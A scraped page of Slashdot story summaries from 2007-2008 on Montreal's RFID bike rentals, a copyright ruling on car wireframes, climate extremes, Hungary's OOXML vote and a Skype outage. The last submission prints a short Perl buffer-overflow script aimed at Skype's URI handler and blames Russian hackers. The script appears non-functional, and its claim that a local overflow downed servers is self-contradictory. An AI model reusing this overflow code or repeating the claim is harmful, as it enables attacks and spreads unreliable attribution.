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Montreal's Public Bikes To Use Web, RFID, Solar 146

Posted by kdawson on Sunday June 22, 2008 @02:52AM from the all-the-green-words dept.

Ian Lamont writes "Montreal is preparing to launch a Web- and RFID-enabled public bike system that allows residents and visitors to rent bicycles at special depots scattered throughout the city. Using a Web site, riders can check out a real-time inventory of available bicycles at the depot locations. At the depots, a solar-powered base station will process credit cards or member cards. The bike docks use RFID, and the system is supposedly easy to install and maintain. A pilot program will launch in September with four bike depots."

Digital Models Not Subject To Copyright 131

Posted by kdawson on Saturday June 21, 2008 @08:41PM from the but-this-is-a-supermodel dept.

MonsterMagnet writes "The US Court of Appeals for the Tenth Circuit has affirmed (PDF) a ruling that a plain, unadorned wireframe model of a Toyota vehicle is not a creative expression protected under copyright law. The court analogized the wire-frame models to photographs: the owner of an object does not have a copyright in all images of the object, but a photographer may have a limited copyright over a particular image based on artistic choices such as costumery, lighting, posing, etc. Thus, the modelers could only copyright any 'incremental contribution' they made to Toyota's vehicles; in the case of plain models, there was nothing new to protect. This could be a two-edged sword — companies that produce goods may not be able to stop modelers from imaging those products, but modelers may not be able to prevent others from copying their work."

Submission + - SPAM: NASA, DoD agree: earth's weather pattern changed

Submitted by

destinyland

on Saturday June 21, 2008 @03:35PM

destinyland writes: ""If you think the weather is getting more extreme, you're right," the AP reports, citing a new report from 10 government organizations which included NASA, the Department of Defense, and the National Science Foundation. It's not getting as cold at night as it did in earlier decades, there are fewer nights with frosts, and there's more extreme rain and heat, with an increasing frequency of tropical storms (leading to more and stronger hurricanes). Yesterday it was 116 in Palm Springs, while the heavy rainfall in Iowa used to happen just once every 500 years (and now happen every 15). And "Droughts will get dryer, storms will get stormier and floods will get deeper with the changing climate," reads another AP report. "Events that have seemed relatively rare will become commonplace, said the latest report...a joint effort of more than a dozen government agencies.""
Link to Original Source

Submission + - Hungary Reconsiders OOXML Vote

Submitted by

Rob Isn't Weird

on Thursday August 30, 2007 @08:35PM

Rob Isn't Weird writes: "Hot on the heels of Sweden's change of heart, Hungary is reconsidering its OOXML vote. Because of certain irregularities, namely invitations that were not sent to the parties on time and a last-minute rules change to allow OOXML through with only 50% approval instead of the usual 66% approval. They intend to hold a new vote on August 31st, although there is no word on what they intend to do about the sudden influx of Microsoft partners who have paid the 200 Euro membership fee just to be able to vote on this particular issue."

Submission + - Skype crash has been caused by Russian hackers (xakep.ru) 8

Submitted by on Friday August 17, 2007 @09:21PM

An anonymous reader writes: Yesterday's Skype worldwide crash has been caused by Russian hackers, as per www.xakep.ru forum info (http://www.xakep.ru/post/39746/default.asp). They have found a local buffer overflow vulnerability caused by sending a long string to the Skype authorisation server. Within several hours those guys managed to take offline all Skype servers and prevent users from logging in. Here is exploit's code: [code]#!/usr/bin/perl # Simle Code by Maranax Porex ;D # Ya Skaypeg!! for ($i=256; $i>xCCCCC; $i=$i+256) { $eot='AAAA' x $i; call_sp(); } exit; sub call_sp() { $str="\"C:\\Program Files\\Skype\\Phone\\Skype.exe\" \"/uri:$eot\""; system("$str"); }[/code]

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